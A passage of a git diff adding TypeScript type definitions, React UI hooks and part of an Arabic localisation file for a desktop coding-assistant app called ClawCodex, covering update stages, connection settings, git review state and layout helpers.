+  /** True when a detached relauncher took over (macOS bundle swap / Linux
+   *  re-exec): the app is about to quit and reopen itself. */
+  handedOff?: boolean
+}
+
+export type DesktopUpdateStage =
+  | 'idle'
+  | 'prepare'
+  | 'fetch'
+  | 'pull'
+  | 'pydeps'
+  | 'update'
+  | 'rebuild'
+  | 'restart'
+  | 'done'
+  | 'manual'
+  /** Backend updated but the running GUI package (AppImage/.deb/.rpm) was NOT
+   *  changed — the user must update/reinstall the desktop app. Terminal,
+   *  closeable; never claims the GUI was updated. (#45205) */
+  | 'guiSkew'
+  | 'error'
+
+export interface DesktopUpdateProgress {
+  stage: DesktopUpdateStage
+  message: string
+  percent: number | null
+  error: string | null
+  at: number
+}
+
+export interface ClawCodexConnection {
+  baseUrl: string
+  isFullscreen: boolean
+  // The live, RESOLVED connection mode. Only ever 'local' or 'remote' — a
+  // 'cloud' saved-config entry resolves to a 'remote' connection under the hood
+  // (cloud-auto-discovery Q3/Q6), so this never carries 'cloud'.
+  mode?: 'local' | 'remote'
+  authMode?: 'oauth' | 'token'
+  remoteHost?: string
+  remoteIdentity?: string
+  remoteKind?: 'cloud' | 'ssh' | 'url'
+  remoteClawCodexVersion?: string
+  nativeOverlayWidth: number
+  source?: 'env' | 'local' | 'settings'
+  token: string
+  wsUrl: string
+  logs: string[]
+  // Set for pool (non-primary) backends so the renderer knows which profile a
+  // connection belongs to.
+  profile?: string
+  windowButtonPosition: { x: number; y: number } | null
+}
+
+export interface ClawCodexTitleBarTheme {
+  background: string
+  foreground: string
+}
+
+/** Turns in flight, so the main process can confirm before a quit kills them. */
+export interface ClawCodexActiveWork {
+  count: number
+  titles: string[]
+}
+
+export interface ClawCodexWindowState {
+  isFullscreen: boolean
+  isMinimized?: boolean
+  isVisible?: boolean
+  nativeOverlayWidth: number
+  windowButtonPosition: { x: number; y: number } | null
+}
+
+export interface DesktopActiveProfile {
+  // The desktop's stored profile preference, or null when unset (legacy launch
+  // that defers to the sticky active_profile / default).
+  profile: string | null
+}
+
+export interface DesktopConnectionConfig {
+  envOverride: boolean
+  // The saved connection mode. 'cloud' is a ClawCodex Cloud connection: it carries
+  // a remote-shaped block (remoteUrl = the selected agent's dashboardUrl,
+  // remoteAuthMode 'oauth') but is remembered as cloud so settings reopens into
+  // the cloud picker. Resolution treats cloud exactly as remote
+  // (cloud-auto-discovery Q3/Q6).
+  mode: 'local' | 'remote' | 'cloud' | 'ssh'
+  // The profile this config describes, or null for the global/default
+  // connection. Per-profile entries let a profile point at its own backend.
+  profile: null | string
+  remoteAuthMode: 'oauth' | 'token'
+  remoteOauthConnected: boolean
+  remoteTokenPreview: string | null
+  remoteTokenSet: boolean
+  remoteUrl: string
+  // For a 'cloud' connection: the persisted ClawCodex Cloud org (slug or id) the
+  // connected instance was discovered under, so Settings → Gateway can reopen
+  // into that org. Empty string for remote/local.
+  cloudOrg: string
+  sshHost: string
+  sshUser: string
+  sshPort: number | null
+  sshKeyPath: string
+  sshRemoteClawCodexPath: string
+  sshRemoteProfile: string
+}
+
+export interface DesktopConnectionConfigInput {
+  mode: 'local' | 'remote' | 'cloud' | 'ssh'
+  // When set, the save/apply/test targets this profile's per-profile remote
+  // override instead of the global connection.
+  profile?: null | string
+  remoteAuthMode?: 'oauth' | 'token'
+  remoteToken?: string
+  remoteUrl?: string
+  // For a 'cloud' connection: the selected ClawCodex Cloud org (slug or id) to
+  // persist so Settings can reopen into it. Ignored for remote/local modes.
+  cloudOrg?: string
+  sshHost?: string
+  sshUser?: string
+  sshPort?: number | null
+  sshKeyPath?: string
+  sshRemoteClawCodexPath?: string
+  sshRemoteProfile?: string
+}
+
+export interface DesktopConnectionTestResult {
+  baseUrl?: string
+  ok?: boolean
+  version?: string | null
+  reachable?: boolean
+  sshError?:
+    | 'auth-failed'
+    | 'clawcodex-not-found'
+    | 'host-key-changed'
+    | 'timeout'
+    | 'unreachable'
+    | 'unsupported-platform'
+    | 'update-required'
+    | 'unknown'
+    | null
+  error?: string | null
+  host?: string
+  remoteClawCodexPath?: string
+  remoteClawCodexVersion?: string
+  remotePlatform?: string
+}
+
+export interface DesktopSshResolveResult {
+  hostname: string | null
+  identityFile: string | null
+  port: number | null
+  user: string | null
+}
+
+export interface DesktopSshHostsResult {
+  hosts: string[]
+}
+
+export interface DesktopAuthProvider {
+  name: string
+  displayName: string
+  // True when this provider authenticates with a username + password
+  // (the gateway's /login page renders a credential form) rather than an
+  // OAuth redirect. The session/cookie/ws-ticket machinery is identical;
+  // only the login-page form and the desktop's button copy differ.
+  supportsPassword?: boolean
+}
+
+export interface DesktopConnectionProbeResult {
+  baseUrl: string
+  reachable: boolean
+  authMode: 'oauth' | 'token' | 'unknown'
+  providers: DesktopAuthProvider[]
+  version: string | null
+  error: string | null
+}
+
+export interface DesktopOauthLoginResult {
+  ok: boolean
+  baseUrl: string
+  connected: boolean
+}
+
+export interface DesktopOauthLogoutResult {
+  ok: boolean
+  connected: boolean
+}
+
+// --- ClawCodex Cloud (cloud-auto-discovery Phase 3) ---
+
+export interface DesktopCloudStatus {
+  // The portal base URL the desktop talks to (default or env-overridden).
+  portalBaseUrl: string
+  // Whether the OAuth partition holds a live Nous portal (Privy) session — the
+  // portal authenticates via Privy, so this reflects the privy-token cookie, NOT
+  // the clawcodex gateway session cookies. See cookiesHavePrivySession.
+  signedIn: boolean
+}
+
+// A discovered ClawCodex Cloud agent — the trimmed DTO from NAS GET /api/agents.
+export interface DesktopCloudAgent {
+  id: string
+  name: string
+  status: string
+  // null until the agent has a provisioned dashboard (show "provisioning…").
+  dashboardUrl: string | null
+  // "active" | "degraded" | "down" | "unknown".
+  dashboardGatewayState: string
+}
+
+// An org the signed-in user belongs to — for the org picker shown when a
+// multi-org user's discovery call needs disambiguation (NAS 409).
+export interface DesktopCloudOrg {
+  id: string
+  slug: string | null
+  name: string
+  isPersonal: boolean
+  // "OWNER" | "MEMBER".
+  role: string
+}
+
+// Discovery result: either the agent list, OR a request to pick an org first
+// (multi-org user, no org chosen yet). The renderer shows a picker on the
+// latter and re-calls discover(org). On the agents branch, `org` echoes the
+// authoritatively-resolved org the list was scoped to (from NAS), so the
+// desktop persists it without relying on transient picker state.
+export type DesktopCloudDiscoverResult =
+  | { agents: DesktopCloudAgent[]; org?: DesktopCloudOrg | null; needsOrgSelection?: false }
+  | { needsOrgSelection: true; orgs: DesktopCloudOrg[] }
+
+export interface DesktopCloudAgentSignInResult {
+  // The agent gateway base URL the silent sign-in targeted.
+  baseUrl: string
+  // Whether the agent's gateway session cookie landed (silent cascade done).
+  connected: boolean
+}
+
+export interface DesktopBootProgress {
+  error: string | null
+  fakeMode: boolean
+  message: string
+  phase: string
+  progress: number
+  running: boolean
+  timestamp: number
+}
+
+// First-launch install ("bootstrap") event types -- emitted by
+// electron/bootstrap-runner.ts and observed by the renderer install overlay.
+// Mirrors the event shapes emitted by runBootstrap()'s onEvent callback.
+
+export interface DesktopBootstrapStageDescriptor {
+  name: string
+  title?: string
+  category?: string
+  needs_user_input?: boolean
+}
+
+export type DesktopBootstrapStageState = 'pending' | 'running' | 'succeeded' | 'skipped' | 'failed'
+
+export interface DesktopBootstrapStageResult {
+  state: DesktopBootstrapStageState
+  durationMs: number | null
+  startedAt: number | null
+  json: { ok: boolean; skipped?: boolean; reason?: string | null; stage: string } | null
+  error: string | null
+}
+
+export interface DesktopBootstrapUnsupportedPlatform {
+  platform: string
+  activeRoot: string
+  installCommand: string
+  docsUrl: string
+}
+
+export interface DesktopBootstrapSetupChoice {
+  platform: string
+  activeRoot: string
+}
+
+export interface DesktopBootstrapState {
+  active: boolean
+  manifest: { type: 'manifest'; stages: DesktopBootstrapStageDescriptor[]; protocolVersion: number | null } | null
+  stages: Record<string, DesktopBootstrapStageResult>
+  error: string | null
+  log: Array<{ ts: number; stage: string | null; line: string; stream?: 'stdout' | 'stderr' }>
+  startedAt: number | null
+  completedAt: number | null
+  setupChoice: DesktopBootstrapSetupChoice | null
+  unsupportedPlatform: DesktopBootstrapUnsupportedPlatform | null
+}
+
+export type DesktopBootstrapEvent =
+  | { type: 'dismissed' }
+  | {
+      type: 'setup-choice'
+      active: boolean
+      platform?: string
+      activeRoot?: string
+    }
+  | { type: 'manifest'; stages: DesktopBootstrapStageDescriptor[]; protocolVersion: number | null }
+  | {
+      type: 'stage'
+      name: string
+      state: DesktopBootstrapStageState
+      durationMs?: number
+      json?: DesktopBootstrapStageResult['json']
+      error?: string | null
+    }
+  | { type: 'log'; stage?: string | null; line: string; stream?: 'stdout' | 'stderr' }
+  | { type: 'complete'; marker: Record<string, unknown> }
+  | { type: 'failed'; stage?: string | null; error: string }
+  | {
+      type: 'unsupported-platform'
+      platform: string
+      activeRoot: string
+      installCommand: string
+      docsUrl: string
+    }
+
+export interface ClawCodexApiRequest {
+  path: string
+  method?: string
+  body?: unknown
+  // Single-file multipart upload (FastAPI UploadFile endpoints). Mutually
+  // exclusive with `body`; bytes transfer over IPC as a structured-clone
+  // ArrayBuffer. Token-mode backends only.
+  upload?: { filename: string; contentType?: string; bytes: ArrayBuffer }
+  timeoutMs?: number
+  // Route this REST call to a specific profile's backend. Omit for the primary
+  // (window) backend. Read-only cross-profile data is served by the primary, so
+  // this is only needed for profile-scoped live/settings calls.
+  profile?: string | null
+}
+
+export interface ClawCodexNotification {
+  title?: string
+  body?: string
+  silent?: boolean
+  kind?: string
+  sessionId?: string
+  /** Dedupe discriminator for session-less notifications (e.g. plugin id). */
+  tag?: string
+  actions?: { id: string; text: string }[]
+}
+
+export interface ClawCodexPreviewTarget {
+  binary?: boolean
+  byteSize?: number
+  kind: 'file' | 'url'
+  label: string
+  large?: boolean
+  language?: string
+  mimeType?: string
+  path?: string
+  previewKind?: 'binary' | 'html' | 'image' | 'pdf' | 'text'
+  renderMode?: 'preview' | 'source'
+  source: string
+  url: string
+}
+
+export interface ClawCodexReadFileTextResult {
+  binary?: boolean
+  byteSize?: number
+  language?: string
+  mimeType?: string
+  path: string
+  text: string
+  truncated?: boolean
+}
+
+export interface ClawCodexPreviewWatch {
+  id: string
+  path: string
+}
+
+// A real git worktree as reported by `git worktree list` (source of truth for
+// the "Start work" flow), as opposed to the session-cwd-derived grouping above.
+export interface ClawCodexGitWorktree {
+  path: string
+  branch: null | string
+  isMain: boolean
+  detached: boolean
+  locked: boolean
+}
+
+// A branch that the "convert a branch into a worktree" picker offers: the local
+// heads, plus the remote-tracking refs that have no local branch yet.
+// `checkedOut` means that a selection opens that checkout. `isDefault` means
+// that a selection switches the main checkout, and does not make
+// `.worktrees/main`. `isRemote` means that a selection first makes a local
+// branch that tracks the remote one.
+export interface ClawCodexGitBranch {
+  name: string
+  checkedOut: boolean
+  isDefault: boolean
+  isRemote: boolean
+  worktreePath: null | string
+}
+
+// A branch the new worktree can be based on: local heads + remote-tracking
+// refs. `isRemote` distinguishes `origin/main` from a local `main` (the UI
+// may show a remote glyph); `isDefault` flags origin/HEAD so the dialog can
+// preselect it.
+export interface ClawCodexGitBaseBranch {
+  name: string
+  isRemote: boolean
+  isDefault: boolean
+}
+
+// A single changed path from `git status --porcelain=v2`, classified by state
+// so the coding rail / switcher can group + open the right diff.
+export interface ClawCodexRepoStatusFile {
+  path: string
+  staged: boolean
+  unstaged: boolean
+  untracked: boolean
+  conflicted: boolean
+}
+
+// Compact working-tree status for the composer coding rail (parsed from
+// `git status --porcelain=v2 --branch`).
+export interface ClawCodexRepoStatus {
+  branch: null | string
+  // The repo's trunk ("main" / "master" / …), so the UI can offer "branch off
+  // the default" from anywhere. Null when no trunk is detected.
+  defaultBranch: null | string
+  detached: boolean
+  ahead: number
+  behind: number
+  staged: number
+  unstaged: number
+  untracked: number
+  conflicted: number
+  // Total distinct changed paths (tracked modified + conflicts + untracked).
+  changed: number
+  // +/- line counts of tracked changes vs HEAD (staged + unstaged). Untracked
+  // files aren't in the diff, so they don't contribute lines.
+  added: number
+  removed: number
+  // Capped changed-file list (REPO_STATUS_FILE_CAP) for the diff/open actions.
+  files: ClawCodexRepoStatusFile[]
+}
+
+// Diff scope for the review pane, mirroring Codex: uncommitted working-tree
+// changes, all changes vs the branch base, or everything since the current
+// turn began.
+export type ClawCodexReviewScope = 'branch' | 'lastTurn' | 'uncommitted'
+
+// One changed file in the review pane (status letter, +/- lines, staged flag).
+export interface ClawCodexReviewFile {
+  path: string
+  added: number
+  removed: number
+  // M(odified) A(dded) D(eleted) R(enamed) C(opied) U(nmerged) ?(untracked)
+  status: string
+  staged: boolean
+}
+
+export interface ClawCodexReviewList {
+  files: ClawCodexReviewFile[]
+  // The resolved base ref the scope diffed against (branch merge-base / turn
+  // baseline), or null for the uncommitted scope.
+  base: null | string
+}
+
+// The branch's PR (if any) as reported by `gh pr view`.
+export interface ClawCodexReviewPr {
+  url: string
+  state: string
+  number: number
+}
+
+// gh availability/auth + the current branch's PR — drives the review pane's PR
+// button (disabled when gh isn't ready, "Open PR" vs "Create PR" otherwise).
+export interface ClawCodexReviewShipInfo {
+  ghReady: boolean
+  pr: ClawCodexReviewPr | null
+}
+
+export interface ClawCodexReadDirEntry {
+  name: string
+  path: string
+  isDirectory: boolean
+}
+
+export interface ClawCodexReadDirResult {
+  entries: ClawCodexReadDirEntry[]
+  error?: string
+}
+
+export interface ClawCodexPreviewFileChanged {
+  id: string
+  path: string
+  url: string
+}
+
+export interface ClawCodexSelectPathsOptions {
+  title?: string
+  defaultPath?: string
+  directories?: boolean
+  multiple?: boolean
+  filters?: Array<{ name: string; extensions: string[] }>
+}
+
+export interface BackendExit {
+  code: number | null
+  signal: string | null
+}
diff --git a/ui-desktop/src/hooks/use-delayed-true.ts b/ui-desktop/src/hooks/use-delayed-true.ts
new file mode 100644
index 000000000..d2ef4792b
--- /dev/null
+++ b/ui-desktop/src/hooks/use-delayed-true.ts
@@ -0,0 +1,26 @@
+import { useEffect, useState } from 'react'
+
+/**
+ * Returns true only after `active` has stayed true continuously for `delayMs`.
+ * Flips back to false the instant `active` goes false. Use it to gate loading
+ * skeletons so a fast operation doesn't flash one — the UI just stays blank for
+ * the (sub-perceptible) delay window, and the skeleton appears only when a load
+ * is genuinely slow.
+ */
+export function useDelayedTrue(active: boolean, delayMs = 180): boolean {
+  const [shown, setShown] = useState(false)
+
+  useEffect(() => {
+    if (!active) {
+      setShown(false)
+
+      return
+    }
+
+    const id = window.setTimeout(() => setShown(true), delayMs)
+
+    return () => window.clearTimeout(id)
+  }, [active, delayMs])
+
+  return shown
+}
diff --git a/ui-desktop/src/hooks/use-grab-scroll.ts b/ui-desktop/src/hooks/use-grab-scroll.ts
new file mode 100644
index 000000000..379fed3c2
--- /dev/null
+++ b/ui-desktop/src/hooks/use-grab-scroll.ts
@@ -0,0 +1,77 @@
+import { type MouseEvent as ReactMouseEvent, type RefObject, useState } from 'react'
+
+// Grab-to-pan for overflow containers — the shared primitive behind "scrub the
+// board/timeline by dragging its background" (kanban lanes, trace waterfalls,
+// wide tables). Sibling of lib/trackpad-gestures.ts: that file classifies
+// wheel gestures, this one owns pointer-drag panning, so surfaces stop
+// re-deriving the same interaction (the dashboard kanban and the agent-traces
+// waterfall each hand-rolled a copy).
+//
+// Behavior contract:
+//  - drags translate scrollLeft/scrollTop (both axes, whichever overflow);
+//  - interactive targets never start a pan (buttons, inputs, links,
+//    [draggable] cards keep their own drag semantics);
+//  - the native scrollbar gutters stay untouched as the fallback affordance;
+//  - selection can't start mid-pan (preventDefault on move), and window
+//    blur/mouseup always end it.
+
+const BLOCKED_TARGETS = 'button,input,textarea,select,a,[role="button"],[draggable="true"]'
+const SCROLLBAR_GUTTER_PX = 16
+
+export interface GrabScroll {
+  /** True while a pan is in flight — drive `cursor-grabbing` styling. */
+  grabbing: boolean
+  /** Spread onto the scroll container. */
+  onMouseDown: (event: ReactMouseEvent) => void
+}
+
+export function useGrabScroll(ref: RefObject<HTMLElement | null>): GrabScroll {
+  const [grabbing, setGrabbing] = useState(false)
+
+  const onMouseDown = (event: ReactMouseEvent) => {
+    const el = ref.current
+
+    if (event.button !== 0 || !el) {
+      return
+    }
+
+    const canX = el.scrollWidth > el.clientWidth
+    const canY = el.scrollHeight > el.clientHeight
+
+    if ((!canX && !canY) || (event.target as HTMLElement).closest(BLOCKED_TARGETS)) {
+      return
+    }
+
+    const rect = el.getBoundingClientRect()
+
+    if (
+      (canX && event.clientY >= rect.bottom - SCROLLBAR_GUTTER_PX) ||
+      (canY && event.clientX >= rect.right - SCROLLBAR_GUTTER_PX)
+    ) {
+      return
+    }
+
+    const start = { left: el.scrollLeft, top: el.scrollTop, x: event.clientX, y: event.clientY }
+    setGrabbing(true)
+
+    const onMove = (move: MouseEvent) => {
+      el.scrollLeft = start.left - (move.clientX - start.x)
+      el.scrollTop = start.top - (move.clientY - start.y)
+      move.preventDefault()
+    }
+
+    const stop = () => {
+      setGrabbing(false)
+      window.removeEventListener('mousemove', onMove)
+      window.removeEventListener('mouseup', stop)
+      window.removeEventListener('blur', stop)
+    }
+
+    window.addEventListener('mousemove', onMove)
+    window.addEventListener('mouseup', stop, { once: true })
+    window.addEventListener('blur', stop, { once: true })
+    event.preventDefault()
+  }
+
+  return { grabbing, onMouseDown }
+}
diff --git a/ui-desktop/src/hooks/use-image-download.ts b/ui-desktop/src/hooks/use-image-download.ts
new file mode 100644
index 000000000..89436413e
--- /dev/null
+++ b/ui-desktop/src/hooks/use-image-download.ts
@@ -0,0 +1,85 @@
+import { useCallback, useState } from 'react'
+
+import { useI18n } from '@/i18n'
+import { notify, notifyError } from '@/store/notifications'
+
+export function imageFilename(src?: string): string {
+  if (!src) {
+    return 'image'
+  }
+
+  try {
+    return new URL(src, window.location.href).pathname.split('/').filter(Boolean).pop() || 'image'
+  } catch {
+    return src.split(/[\\/]/).filter(Boolean).pop() || 'image'
+  }
+}
+
+function isMissingIpcHandler(error: unknown): boolean {
+  const message = error instanceof Error ? error.message : typeof error === 'string' ? error : ''
+
+  return message.includes("No handler registered for 'clawcodex:saveImageFromUrl'")
+}
+
+async function startBrowserDownload(src: string) {
+  const response = await fetch(src)
+
+  if (!response.ok) {
+    throw new Error(`Could not fetch image: ${response.status}`)
+  }
+
+  const blobUrl = URL.createObjectURL(await response.blob())
+  const link = document.createElement('a')
+  link.href = blobUrl
+  link.download = imageFilename(src)
+  link.rel = 'noopener noreferrer'
+  document.body.appendChild(link)
+  link.click()
+  link.remove()
+  window.setTimeout(() => URL.revokeObjectURL(blobUrl), 30_000)
+}
+
+/** Save an image to disk via the desktop IPC bridge, falling back to a browser
+ *  download when the handler is unavailable (older shell / web preview). */
+export function useImageDownload(src?: string) {
+  const { t } = useI18n()
+  const copy = t.desktop
+  const [saving, setSaving] = useState(false)
+
+  const download = useCallback(async () => {
+    if (!src || saving) {
+      return
+    }
+
+    setSaving(true)
+
+    try {
+      if (window.clawcodexDesktop?.saveImageFromUrl) {
+        if (await window.clawcodexDesktop.saveImageFromUrl(src)) {
+          notify({ kind: 'success', title: copy.imageSaved, message: imageFilename(src) })
+        }
+
+        return
+      }
+
+      await startBrowserDownload(src)
+    } catch (error) {
+      if (isMissingIpcHandler(error)) {
+        try {
+          await startBrowserDownload(src)
+          notify({ kind: 'info', title: copy.downloadStarted, message: copy.restartToUseSaveImage })
+        } catch (fallbackError) {
+          notifyError(fallbackError, copy.restartToSaveImages)
+        }
+
+        return
+      }
+
+      notifyError(error, copy.imageDownloadFailed)
+    } finally {
+      setSaving(false)
+    }
+  }, [copy, saving, src])
+
+  return { download, saving }
+}
diff --git a/ui-desktop/src/hooks/use-media-query.ts b/ui-desktop/src/hooks/use-media-query.ts
new file mode 100644
index 000000000..aa368dfb9
--- /dev/null
+++ b/ui-desktop/src/hooks/use-media-query.ts
@@ -0,0 +1,24 @@
+import { useEffect, useState } from 'react'
+
+export const matchesQuery = (query: string) =>
+  typeof window !== 'undefined' && !!window.matchMedia && window.matchMedia(query).matches
+
+export function useMediaQuery(query: string): boolean {
+  const [matches, setMatches] = useState(() => matchesQuery(query))
+
+  useEffect(() => {
+    if (typeof window === 'undefined' || !window.matchMedia) {
+      return
+    }
+
+    const mql = window.matchMedia(query)
+    const onChange = () => setMatches(mql.matches)
+
+    setMatches(mql.matches)
+    mql.addEventListener('change', onChange)
+
+    return () => mql.removeEventListener('change', onChange)
+  }, [query])
+
+  return matches
+}
diff --git a/ui-desktop/src/hooks/use-mobile.ts b/ui-desktop/src/hooks/use-mobile.ts
new file mode 100644
index 000000000..9beed4a9a
--- /dev/null
+++ b/ui-desktop/src/hooks/use-mobile.ts
@@ -0,0 +1,3 @@
+import { useMediaQuery } from './use-media-query'
+
+export const useIsMobile = () => useMediaQuery(`(max-width: ${768 / 16 - 1 / 16}rem)`)
diff --git a/ui-desktop/src/hooks/use-resize-observer.ts b/ui-desktop/src/hooks/use-resize-observer.ts
new file mode 100644
index 000000000..61cd950a3
--- /dev/null
+++ b/ui-desktop/src/hooks/use-resize-observer.ts
@@ -0,0 +1,134 @@
+import { type RefObject, useLayoutEffect, useRef } from 'react'
+
+/**
+ * Observe element resizes. The callback receives the ResizeObserver entries
+ * (empty only in non-RO environments) so callers can read the observed size
+ * off the entry instead of forcing a fresh layout read.
+ *
+ * The initial measurement rides the observer's spec-guaranteed first delivery
+ * (same frame, after layout, before paint) instead of a synchronous call from
+ * the layout effect. A sync call here runs while the commit's layout is still
+ * dirty, so any size read in the callback forces a full reflow — and with many
+ * instances mounting at once (every user bubble on a session switch), the
+ * interleaved read→write→read pattern cascades into seconds of layout thrash.
+ * Inside RO timing, layout is already clean and the same reads are ~free.
+ *
+ * ONE observer is shared by every caller. A private `new ResizeObserver` per
+ * hook instance means the browser delivers one callback PER CONSUMER when a
+ * common ancestor resizes, and each of those is a separate trip through the
+ * observer machinery. A single shared observer batches the same work into one
+ * delivery carrying many entries.
+ *
+ * Measured on a sash drag with five mounted session tiles (~100 user bubbles):
+ * 2,600 callbacks across 40 pointermoves — 65 separate callbacks per frame,
+ * each carrying exactly one entry — and 977ms of script time attributed to
+ * this file. Batching collapses that to one callback per frame.
+ */
+
+type Handler = (entries: readonly ResizeObserverEntry[]) => void
+
+/** Live target → handler routing for the shared observer. */
+const handlers = new WeakMap<Element, Set<Handler>>()
+
+let shared: null | ResizeObserver = null
+
+function sharedObserver(): null | ResizeObserver {
+  if (typeof ResizeObserver === 'undefined') {
+    return null
+  }
+
+  if (!shared) {
+    shared = new ResizeObserver(entries => {
+      // Group this delivery's entries by handler so a caller observing several
+      // elements is still invoked once, with all of its entries — the same
+      // contract a private observer gave it.
+      const byHandler = new Map<Handler, ResizeObserverEntry[]>()
+
+      for (const entry of entries) {
+        const targets = handlers.get(entry.target)
+
+        if (!targets) {
+          continue
+        }
+
+        for (const handler of targets) {
+          const list = byHandler.get(handler)
+
+          if (list) {
+            list.push(entry)
+          } else {
+            byHandler.set(handler, [entry])
+          }
+        }
+      }
+
+      for (const [handler, group] of byHandler) {
+        handler(group)
+      }
+    })
+  }
+
+  return shared
+}
+
+export function useResizeObserver(
+  onResize: (entries: readonly ResizeObserverEntry[]) => void,
+  ...refs: readonly RefObject<Element | null>[]
+) {
+  const refsRef = useRef(refs)
+  refsRef.current = refs
+
+  useLayoutEffect(() => {
+    const observer = sharedObserver()
+
+    if (!observer) {
+      onResize([])
+
+      return
+    }
+
+    const observed: Element[] = []
+
+    for (const ref of refsRef.current) {
+      const element = ref.current
+
+      if (!element) {
+        continue
+      }
+
+      const existing = handlers.get(element)
+
+      if (existing) {
+        existing.add(onResize)
+      } else {
+        handlers.set(element, new Set([onResize]))
+        // Only the first handler for an element needs to register it; the
+        // observer fires once per element regardless of how many care.
+        observer.observe(element)
+      }
+
+      observed.push(element)
+    }
+
+    if (observed.length === 0) {
+      return
+    }
+
+    return () => {
+      for (const element of observed) {
+        const set = handlers.get(element)
+
+        if (!set) {
+          continue
+        }
+
+        set.delete(onResize)
+
+        if (set.size === 0) {
+          handlers.delete(element)
+          observer.unobserve(element)
+        }
+      }
+    }
+  }, [onResize])
+}
diff --git a/ui-desktop/src/hooks/use-theme-epoch.ts b/ui-desktop/src/hooks/use-theme-epoch.ts
new file mode 100644
index 000000000..57da9900d
--- /dev/null
+++ b/ui-desktop/src/hooks/use-theme-epoch.ts
@@ -0,0 +1,32 @@
+import { useEffect, useState } from 'react'
+
+// Theme repaints (themes/context.tsx) toggle `.dark` + rewrite inline custom
+// props/data-clawcodex-* on <html>. Canvas/probe consumers that rasterize the
+// *computed* color-mix()/oklch tokens must re-resolve AFTER the paint — useTheme()
+// can't, since a child's effect runs before the provider's applyTheme. A
+// MutationObserver fires post-mutation, so the next getComputedStyle is fresh.
+// One observer, fanned out to every listener.
+const ATTRS = ['class', 'style', 'data-clawcodex-mode', 'data-clawcodex-theme']
+const listeners = new Set<() => void>()
+let observer: MutationObserver | null = null
+
+/** Subscribe to theme repaints imperatively (ref/canvas, no re-render). */
+export function onThemeRepaint(fn: () => void): () => void {
+  if (!observer && typeof document !== 'undefined') {
+    observer = new MutationObserver(() => listeners.forEach(l => l()))
+    observer.observe(document.documentElement, { attributeFilter: ATTRS, attributes: true })
+  }
+
+  listeners.add(fn)
+
+  return () => void listeners.delete(fn)
+}
+
+/** A counter that ticks on every theme repaint — depend on it to re-resolve colors. */
+export function useThemeEpoch(): number {
+  const [epoch, setEpoch] = useState(0)
+
+  useEffect(() => onThemeRepaint(() => setEpoch(e => e + 1)), [])
+
+  return epoch
+}
diff --git a/ui-desktop/src/i18n/ar.ts b/ui-desktop/src/i18n/ar.ts
new file mode 100644
index 000000000..895da22d0
--- /dev/null
+++ b/ui-desktop/src/i18n/ar.ts
@@ -0,0 +1,2611 @@
+import { defineLocale } from './define-locale'
+
+export const ar = defineLocale({
+  common: {
+    apply: 'تطبيق',
+    back: 'رجوع',
+    save: 'حفظ',
+    saving: 'جار الحفظ...',
+    cancel: 'إلغاء',
+    change: 'تغيير',
+    choose: 'اختيار',
+    clear: 'مسح',
+    close: 'إغلاق',
+    collapse: 'طي',
+    confirm: 'تأكيد',
+    connect: 'اتصال',
+    connecting: 'جار الاتصال',
+    continue: 'متابعة',
+    copied: 'تم النسخ',
+    copy: 'نسخ',
+    copyFailed: 'فشل النسخ',
+    delete: 'حذف',
+    docs: 'الوثائق',
+    done: 'تم',
+    error: 'خطأ',
+    failed: 'فشل',
+    free: 'مجاني',
+    loading: 'جار التحميل...',
+    notSet: 'غير مضبوط',
+    refresh: 'تحديث',
+    remove: 'إزالة',
+    replace: 'استبدال',
+    retry: 'إعادة المحاولة',
+    run: 'تشغيل',
+    send: 'إرسال',
+    set: 'ضبط',
+    skip: 'تخطي',
+    update: 'تحديث',
+    on: 'مفعل',
+    off: 'معطل'
+  },
+  fileMenu: {
+    revealFinder: 'إظهار في Finder',
+    revealExplorer: 'إظهار في File Explorer',
+    revealFileManager: 'فتح المجلد الحاوي',
+    revealInSidebar: 'إظهار في شجرة الملفات',
+    copyPath: 'نسخ المسار',
+    copyRelativePath: 'نسخ المسار النسبي',
+    rename: 'إعادة تسمية...',
+    delete: 'حذف',
+    renameTitle: 'إعادة تسمية',
+    renameLabel: 'الاسم الجديد',
+    deleteTitle: name => `حذف ${name}؟`,
+    deleteBody: 'سيتم نقله إلى سلة المهملات — يمكنك استعادته من هناك.',
+    pathCopied: 'تم نسخ المسار'
+  },
+  boot: {
+    ready: 'ClawCodex Desktop جاهز',
+    desktopBootFailedWithMessage: message => `فشل تشغيل سطح المكتب: ${message}`,
+    steps: {
+      connectingGateway: 'جار الاتصال ببوابة سطح المكتب',
+      loadingSettings: 'جار تحميل إعدادات ClawCodex',
+      loadingSessions: 'جار تحميل الجلسات الأخيرة',
+      startingDesktopConnection: 'جار بدء اتصال سطح المكتب',
+      startingClawCodexDesktop: 'جار تشغيل ClawCodex Desktop...'
+    },
+    errors: {
+      backgroundExited: 'خرجت عملية ClawCodex الخلفية.',
+      backgroundExitedDuringStartup: 'خرجت عملية ClawCodex الخلفية أثناء بدء التشغيل.',
+      backendStopped: 'توقف الخلفية',
+      desktopBootFailed: 'فشل تشغيل سطح المكتب',
+      gatewayConnectionLost: 'انقطع الاتصال بالبوابة',
+      gatewaySignInRequired: 'تسجيل الدخول للبوابة مطلوب',
+      ipcBridgeUnavailable: 'جسر IPC لسطح المكتب غير متاح.'
+    },
+    failure: {
+      title: 'تعذر تشغيل ClawCodex',
+      description: 'لم تعمل البوابة الخلفية. جرب إحدى خطوات الاسترداد أدناه. لن يحذف ذلك محادثاتك أو إعداداتك.',
+      remoteTitle: 'تسجيل الدخول للبوابة البعيدة مطلوب',
+      remoteDescription: 'انتهت جلسة البوابة البعيدة. سجل الدخول مرة أخرى لإعادة الاتصال.',
+      retry: 'إعادة المحاولة',
+      repairInstall: 'إصلاح التثبيت',
+      useLocalGateway: 'استخدام البوابة المحلية',
+      openLogs: 'فتح السجلات',
+      repairHint: 'يعيد الإصلاح تشغيل المثبت وقد يستغرق بضع دقائق على جهاز جديد.',
+      remoteSignInHint: signInLabel =>
+        `يسجّل الخروج من جلسة المتصفح البعيدة المحفوظة، ثم يفتح ${signInLabel}. استخدم البوابة المحلية للتبديل إلى الخلفية المضمنة.`,
+      signOutAndSignIn: 'تسجيل الخروج وإعادة تسجيل الدخول',
+      hideRecentLogs: 'إخفاء السجلات الأخيرة',
+      showRecentLogs: 'إظهار السجلات الأخيرة',
+      signedInTitle: 'تم تسجيل الدخول',
+      signedInMessage: 'جار إعادة الاتصال بالبوابة البعيدة...',
+      signInIncompleteTitle: 'تسجيل الدخول غير مكتمل',
+      signInIncompleteMessage: 'أغلقت نافذة تسجيل الدخول قبل اكتمال المصادقة.',
+      signInFailed: 'فشل تسجيل الدخول',
